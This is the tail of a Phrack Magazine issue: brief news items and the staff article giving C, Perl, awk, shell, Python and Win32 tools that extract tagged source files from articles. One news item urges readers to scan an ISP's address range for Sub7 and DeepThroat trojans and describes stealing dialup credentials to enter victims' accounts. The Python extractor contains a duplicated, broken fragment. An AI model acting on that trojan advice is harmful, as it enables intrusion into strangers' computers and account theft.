"They drafted the Patriot Act to lower all of the thresholds for the invasion of privacy," said Gene Riccoboni, a New York-based Internet lawyer who said he has found loopholes in the anti-terror legislation that could open up the possibility for an EU-style data retention provision.

Under the Patriot Act signed into law in October, law enforcement needs as little as an administrative subpoena to trace names, e-mail addresses, types of Internet access individuals use, and credit card numbers used online.

|=[0x06 - BT OPENWORLD silent over infection /Customers still clueless]=|

From: "Bakb0ne"
Subject: [phrackstaff] WORLD NEWS / BT OPENWORLD silent over infection /
    Customers still clueless after nearly 2 yrs

Btopenworld [1] have been notified to a problem with their Customers computers being infected with the DEEPTHROAT, SUB7 and BO server files (Available from [2]) The computers were infected by downloading and installing BTOWs Dialler Software. Bt were aware of this fact around 18 months ago and the only thing they have done is replace the infected download with a fresh copy of their software.

No customers have been notified and there are still hundreds of users infected with the trojans. Just scan the Ip range 213.122.*.* using the DeepThroat or Sub7 ip scanner and you will see for yourself...

Oh.. one positive note is that BTOW have changed the way you pdate Credit Card information. Previously you could simple use DT to do a "RAS RIP" (steal dialup info), Go onto the BTOW account details section and log-on. Sometimes you would have to enter D.O.B and mothers maiden name.. but with access to your victims machine this was never hard to get...

Before you all start going on about how LAME trojans are and only Script-Kiddies use them, think about the damage they do and how popular they are. The reason why I have been using the trojans mentioned above is to see how many ppl are infected and what is posible to access with these programs installed on a target puter...

Oh and I always inform the ppl that they are infected and how to remove the Trojan form their Machine..

Bakb0ne (Bakb0ne@BTopenworld.com)

[1] Http://www.BtOpenworld.com
[2] Http://www.tlsecurity.com

|=[0x07 - DeCCS is Free Speech]=---------------------------------------=|

An appeals court in California has sided with DVD code crackers like teenage computer whiz-kid Jon Johansen from Norway. The ruling is a kick in the face of the multi-billion-dollar entertainment industry, which is trying to protect its warez by censorship.

Jon Johansen, aslo known by the tabloid as DVD-Jon, ran into trouble when he (with some friends) reverse-engineered the DVD codes and shared the findings on the Internet. He was sued by some of the biggest names in the entertainment industry when he made it harder for them to control viewing videos and CDs.

The CSS algorithm was extremly weak, this made it easy to recover the keys used by other DVD players, breaking the entire system.

http://www.users.zetnet.co.uk/hopwood/crypto/decss/
http://www.thefab.net/topics/computing/co25_deccs_free_speech.htm

|=[0x08 - Gnutella developer Gene Kan, 25, commits suicide]=-----------=|

By Reuters

SAN FRANCISCO (REUTERS) - Gene Kan, one of the key programmers behind the popular file-sharing technology known as Gnutella, has died in an apparent suicide, officials said on Tuesday. He was 25.

San Mateo County Coroner spokeswoman Sue Turner said Kan was found last week at his northern California home.

"The cause of death was a perforating gunshot wound to the head," Tuner said. "It was a suicide."

A spokeswoman for Kan said he died on June 29 and was cremated on July 5. Further details were being withheld at the request of the family.

Kan helped develop an open source version of the Gnutella protocol, which marked a further step in popularizing the peer-to-peer file-sharing revolution pioneered by the Napster song-swapping service.

|=[EO PWN]=--=|

```
                                ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x12 of 0x12

|=---------=[ P H R A C K   E X T R A C T I O N   U T I L I T Y ]=---------=|
|=-------------------------------------------------------------------------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|
```

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7-bit clean ASCII codes. As long as there are no extraneous "<++>" or <-->" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc.

```
|=-------------------------------------------------------------------------=|

<++> extract/extract4.c !8e2bebc6

/*
 *  extract.c by Phrack Staff and sirsyko
 *
 *  Copyright (c) 1997 - 2000 Phrack Magazine
 *
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *
 *  extract.c
 *  Extracts textfiles from a specially tagged flatfile into a hierarchical
 *  directory structure.  Use to extract source code from any of the articles
 *  in Phrack Magazine (first appeared in Phrack 50).
 *
 *  Extraction tags are of the form:
 *
 *  host:~> cat testfile
 *  irrelevant file contents
 *  <++> path_and_filename1 !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  <++> path_and_filename2 !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  <++> path_and_filenamen !CRC32
 *  file contents
 *  <-->
 *  irrelevant file contents
 *  EOF
 *
 *  The ‘!CRC‘ is optional.  The filename is not.  To generate crc32 values
 *  for your files, simply give them a dummy value initially.  The program
 *  will attempt to verify the crc and fail, dumping the expected crc value.
 *  Use that one.  i.e.:
 *
 *  host:~> cat testfile
 *  this text is ignored by the program
 *  <++> testarooni !12345678
 *  text to extract into a file named testarooni
 *  as is this text
 *  <-->
 *
 *  host:~> ./extract testfile
 *  Opened testfile
 *   - Extracting testarooni
 *   crc32 failed (12345678 != 4a298f18)
 *  Extracted 1 file(s).
 *
 *  You would use ‘4a298f18‘ as your crc value.
 *
 *  Compilation:
 *  gcc -o extract extract.c
 *
 *  ./extract file1 file2 ... filen
 */


#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#define VERSION         "7niner.20000430 revsion q"

#define BEGIN_TAG       "<++> "
#define END_TAG         "<-->"
#define BT_SIZE         strlen(BEGIN_TAG)
#define ET_SIZE         strlen(END_TAG)
#define EX_DO_CHECKS    0x01
#define EX_QUIET        0x02

struct f_name
{
    u_char name[256];
    struct f_name *next;
};

unsigned long crcTable[256];


void crcgen()
{
    unsigned long crc, poly;
    int i, j;
    poly = 0xEDB88320L;
    for (i = 0; i < 256; i++)
    {
        crc = i;
        for (j = 8; j > 0; j--)
        {
            if (crc & 1)
            {
                crc = (crc >> 1) ^ poly;
            }
            else
            {
                crc >>= 1;
            }
        }
        crcTable[i] = crc;
    }
}


unsigned long check_crc(FILE *fp)
{
    register unsigned long crc;
    int c;

    crc = 0xFFFFFFFF;
    while( (c = getc(fp)) != EOF )
    {
         crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF];
    }

    if (fseek(fp, 0, SEEK_SET) == -1)
    {
        perror("fseek");
        exit(EXIT_FAILURE);
    }

    return (crc ^ 0xFFFFFFFF);
}


int
main(int argc, char **argv)
{
    char *name;
    u_char b[256], *bp, *fn, flags;
    int i, j = 0, h_c = 0, c;
    unsigned long crc = 0, crc_f = 0;
    FILE *in_p, *out_p = NULL;
    struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

    while ((c = getopt(argc, argv, "cqv")) != EOF)
    {
        switch (c)
        {
            case ’c’:
                flags |= EX_DO_CHECKS;
                break;
            case ’q’:
                flags |= EX_QUIET;
                break;
            case ’v’:
                fprintf(stderr, "Extract version: %s\n", VERSION);
                exit(EXIT_SUCCESS);
        }
    }
    c = argc - optind;

    if (c < 2)
    {
        fprintf(stderr, "Usage: %s [-cqv] file1 file2 ... filen\n", argv[0]);
        exit(0);
    }
    /*
     *  Fill the f_name list with all the files on the commandline (ignoring
     *  argv[0] which is this executable).  This includes globs.
     */
    for (i = 1; (fn = argv[i++]); )
    {
        if (!head)
        {
            if (!(head = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(EXIT_FAILURE);
            }
            strncpy(head->name, fn, sizeof(head->name));
            head->next = NULL;
            fn_p = head;
        }
        else
        {
            if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
            {
                perror("malloc");
                exit(EXIT_FAILURE);
            }
            fn_p = fn_p->next;
            strncpy(fn_p->name, fn, sizeof(fn_p->name));
            fn_p->next = NULL;
        }
    }
    /*
     *  Sentry node.
     */
    if (!(fn_p->next = (struct f_name *)malloc(sizeof(struct f_name))))
    {
        perror("malloc");
        exit(EXIT_FAILURE);
     }
    fn_p = fn_p->next;
    fn_p->next = NULL;

    /*
     *  Check each file in the f_name list for extraction tags.
     */
    for (fn_p = head; fn_p->next; )
    {
        if (!strcmp(fn_p->name, "-"))
        {
            in_p = stdin;
            name = "stdin";
        }
        else if (!(in_p = fopen(fn_p->name, "r")))
        {
            fprintf(stderr, "Could not open input file %s.\n", fn_p->name);
            fn_p = fn_p->next;
            continue;
        }
        else
        {
            name = fn_p->name;
        }

        if (!(flags & EX_QUIET))
        {
            fprintf(stderr, "Scanning %s...\n", fn_p->name);
        }
        crcgen();
        while (fgets(b, 256, in_p))
        {
            if (!strncmp(b, BEGIN_TAG, BT_SIZE))
            {
                b[strlen(b) - 1] = 0;           /* Now we have a string. */
                j++;

                crc = 0;
                crc_f = 0;
                if ((bp = strchr(b + BT_SIZE + 1, '/')))
                {
                    while (bp)
                    {
                        *bp = 0;
                        if (mkdir(b + BT_SIZE, 0700) == -1 && errno != EEXIST)
                        {
                            perror("mkdir");
                            exit(EXIT_FAILURE);
                        }
                        *bp = '/';
                        bp = strchr(bp + 1, '/');
                    }
                }

                if ((bp = strchr(b, '!')))
                {
                    crc_f =
                        strtoul((b + (strlen(b) - strlen(bp)) + 1), NULL, 16);
                   b[strlen(b) - strlen(bp) - 1 ] = 0;
                   h_c = 1;
                }
                else
                {
                    h_c = 0;
                }
                if ((out_p = fopen(b + BT_SIZE, "wb+")))
                {
                    fprintf(stderr, ". Extracting %s\n", b + BT_SIZE);
                }
                else
                {
                    printf(". Could not extract anything from '%s'.\n",
                        b + BT_SIZE);
                    continue;
                }
            }
            else if (!strncmp (b, END_TAG, ET_SIZE))
            {
                if (out_p)
                {
                    if (h_c == 1)
                    {
                        if (fseek(out_p, 0l, 0) == -1)
                        {
                            perror("fseek");
                            exit(EXIT_FAILURE);
                        }
                        crc = check_crc(out_p);
                        if (crc == crc_f && !(flags & EX_QUIET))
                        {
                            fprintf(stderr, ". CRC32 verified (%08lx)\n", crc);
                        }
                        else
                        {
                            if (!(flags & EX_QUIET))
                            {
                                fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",
                                        crc_f, crc);
                            }
                        }
                    }
                    fclose(out_p);
                }
                else
                {
                    fprintf(stderr, ". `%s` had bad tags.\n", fn_p->name);
                    continue;
                }
            }
            else if (out_p)
            {
                fputs(b, out_p);
            }
        }
        if (in_p != stdin)
        {
            fclose(in_p);
        }
        tmp = fn_p;
        fn_p = fn_p->next;
        free(tmp);
    }
    if (!j)
    {
        printf("No extraction tags found in list.\n");
    }
    else
    {
        printf("Extracted %d file(s).\n", j);
    }
    return (0);
}
/* EOF */
<-->
<++> extract/extract.pl !1a19d427
# Daos <daos@nym.alias.net>
#!/bin/sh -- # -*- perl -*- -n
eval 'exec perl $0 -S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
if ($opening) {
        chop $curfile;
        $sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
        eval {mkdir $sex_dir, "0777";};
        open(ct_ex,">$curfile");
        print "Attempting extraction of $curfile\n";
        $opened=1;
}
if ($opened && !$opening) {print ct_ex $_};
<-->

<++> extract/extract.awk !26522c51
#!/usr/bin/awk -f
#
# Yet Another Extraction Script
# - <sirsyko>
#
/^\<\+\+\>/ {
        ind = 1
        File = $2
        split ($2, dirs, "/")
        Dir="."
        while ( dirs[ind+1] ) {
                Dir=Dir"/"dirs[ind]
                system ("mkdir " Dir" 2>/dev/null")
                ++ind
        }
        next
}
/^\<\-\-\>/ {
        File = ""
        next
}
File { print >> File }
<-->
<++> extract/extract.sh !a81a2320
#!/bin/sh
# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko>
#
# note, this file will create all directories relative to the current directory
# originally a bug, I've now upgraded it to a feature since I dont want to deal
# with the leading / (besides, you dont want hackers giving you full pathnames
# anyway, now do you :)
# Hopefully this will demonstrate another useful aspect of IFS other than
# haxoring rewt
#
# Usage: ./extract.sh <filename>

cat $* | (
Working=1
while [ $Working ];
do
        OLDIFS1="$IFS"
        IFS=
        if read Line; then
                IFS="$OLDIFS1"
                set -- $Line
                case "$1" in
                "<++>") OLDIFS2="$IFS"
                        IFS=/
                        set -- $2
                        IFS="$OLDIFS2"
                        while [ $# -gt 1 ]; do
                                File=${File:-"."}/$1
                                if [ ! -d $File ]; then
                                        echo "Making dir $File"
                                        mkdir $File
                                fi
                                shift
                        done
                        File=${File:-"."}/$1
                        echo "Storing data in $File"
                ;;
                "<-->") if [ "x$File" != "x" ]; then
                                unset File
                        fi ;;
                *)      if [ "x$File" != "x" ]; then
                                        IFS=
                                        echo "$Line" >> $File
                                        IFS="$OLDIFS1"
                        fi
                ;;
                esac
                IFS="$OLDIFS1"
        else
                echo "End of file"
                unset Working
        fi
done
)
<-->
<++> extract/extract.py !83f65f60
```

```
#! /bin/env python
# extract.py    Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:
    """Looks like a file, but doesn’t do anything."""
    def write(self, data): pass
    def close(self): pass

def extract(input, verbose = 1):
    """Read a file from input until we find the end token."""

    if type(input) == type(’string’):
        fname = input
        try: input = open(fname)
        except IOError, (errno, why):
            print "Can’t open %s: %s" % (fname, why)
            return errno
    else:
        fname = ’<file descriptor %d>’ % input.fileno()

    inside_embedded_file = 0
    linecount = 0
    line = input.readline()
    while line:

        if not inside_embedded_file and line[:4] == ’<++>’:

            inside_embedded_file = 1
            linecount = 0

            filename = string.strip(line[4:])
            if mkdirs_if_any(filename) != 0:
                pass

            try: output = open(filename, ’w’)
            except IOError, (errno, why):
                print "Can’t open %s: %s; skipping file" % (filename, why)
                output = Datasink()
                continue

            if verbose:
                print ’Extracting embedded file %s from %s...’ % (filename,
                                                                  fname),

        elif inside_embedded_file and line[:4] == ’<-->’:
            output.close()
            inside_embedded_file = 0
            if verbose and not isinstance(output, Datasink):
                print ’[%d lines]’ % linecount

        elif inside_embedded_file:
            output.write(line)

        # Else keep looking for a start token.
        line = input.readline()
        linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):
    """Check for existance of /’s in filename, and make directories."""

    path, file = os.path.split(filename)
    if not path: return

    errno = 0
    start = os.getcwd()
    components = string.split(path, os.sep)
    for dir in components:
        if not os.path.exists(dir):
            try:
                os.mkdir(dir)
                if verbose: print 'Created directory', path

            except os.error, (errno, why):
                print "Can't make directory %s: %s" % (dir, why)
                break

        try: os.chdir(dir)
        except os.error, (errno, why):
            print "Can't cd to directory %s: %s" % (dir, why)
            break

    os.chdir(start)
    return errno

def usage():
    """Blah."""
    die('Usage: extract.py [-V] filename [filename...]')

def main():
    try: optlist, args = getopt.getopt(sys.argv[1:], 'V')
    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = ['-v', filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)

if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass


    except getopt.error, why: usage()
    if len(args) <= 0: usage()

    if ('-V', '') in optlist: verbose = 0
    else: verbose = 1

    for filename in args:
        if verbose: print 'Opening source file', filename + '...'
        extract(filename, verbose)

def db(filename = 'P51-11'):
    """Run this script in the python debugger."""
    import pdb
    sys.argv[1:] = [filename]
    pdb.run('extract.main()')

def die(msg, errcode = 1):
    print msg
    sys.exit(errcode)
```

```
if __name__ == '__main__':
    try: main()
    except KeyboardInterrupt: pass              # No messy traceback.
<-->
<++> extract/extract-win.c !e519375d
/***************************************************************************/
/* WinExtract                                                              */
/*                                                                         */
/* Written by Fotonik <fotonik@game-master.com>.                           */
/*                                                                         */
/* Coding of WinExtract started on 22aug98.                                */
/*                                                                         */
/* This version (1.0) was last modified on 22aug98.                        */
/*                                                                         */
/* This is a Win32 program to extract text files from a specially tagged   */
/* flat file into a hierarchical directory structure.  Use to extract      */
/* source code from articles in Phrack Magazine.  The latest version of    */
/* this program (both source and executable codes) can be found on my      */
/* website:  http://www.altern.com/fotonik                                 */
/***************************************************************************/


#include <stdio.h>
#include <string.h>
#include <windows.h>


void PowerCreateDirectory(char *DirectoryName);


int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst,
                   LPSTR lpszArgs, int nWinMode)
{
OPENFILENAME OpenFile; /* Structure for Open common dialog box */
char InFileName[256]="";
char OutFileName[256];
char Title[]="WinExtract - Choose a file to extract files from.";
FILE *InFile;
FILE *OutFile;
char Line[256];
char DirName[256];
int FileExtracted=0;   /* Flag used to determine if at least one file was */
int i;                 /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME));
OpenFile.lStructSize=sizeof(OPENFILENAME);
OpenFile.hwndOwner=HWND_DESKTOP;
OpenFile.hInstance=hThisInst;
OpenFile.lpstrFile=InFileName;
OpenFile.nMaxFile=sizeof(InFileName)-1;
OpenFile.lpstrTitle=Title;
OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))
   {
   if((InFile=fopen(InFileName,"r"))==NULL)
      {
      MessageBox(NULL,"Could not open file.",NULL,MB_OK);
      return 0;
      }

   /* If we got here, InFile is opened. */
   while(fgets(Line,256,InFile))
      {
      if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */
         {
         Line[strlen(Line)-1]='\0';
         strcpy(OutFileName,Line+5);

         /* Check if a dir has to be created and create one if necessary */
         for(i=strlen(OutFileName)-1;i>=0;i--)
            {
            if((OutFileName[i]==’\\’)||(OutFileName[i]==’/’))
               {
               strncpy(DirName,OutFileName,i);
               DirName[i]=’\0’;
               PowerCreateDirectory(DirName);
               break;
               }
            }

         if((OutFile=fopen(OutFileName,"w"))==NULL)
            {
            MessageBox(NULL,"Could not create file.",NULL,MB_OK);
            fclose(InFile);
            return 0;
            }

         /* If we got here, OutFile can be written to */
         while(fgets(Line,256,InFile))
            {
            if(strncmp(Line,"<-->",4)) /* If line doesn’t begin w/ "<-->" */
               {
               fputs(Line, OutFile);
               }
            else
               {
               break;
               }
            }
         fclose(OutFile);
         FileExtracted=1;
         }
      }
   fclose(InFile);
   if(FileExtracted)
      {
      MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK);
      }
   else
      {
      MessageBox(NULL,"Nothing to extract.","Warning",MB_OK);
      }
   }
   return 1;
}


/* PowerCreateDirectory is a function that creates directories that are */
/* down more than one yet unexisting directory levels.  (e.g. c:\1\2\3) */
void PowerCreateDirectory(char *DirectoryName)
{
int i;
int DirNameLength=strlen(DirectoryName);
char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */
   {                          /* create ’/’ */
   if((DirectoryName[i]==’\\’)||(DirectoryName[i]==’/’)||
      (i==DirNameLength-1))
      {
      strncpy(DirToBeCreated,DirectoryName,i+1);
      DirToBeCreated[i+1]=’\0’;
      CreateDirectory(DirToBeCreated,NULL);
      }
```

```
    }
}
<-->

|=[ EOF ]=---------------------------------------------------------------=|
```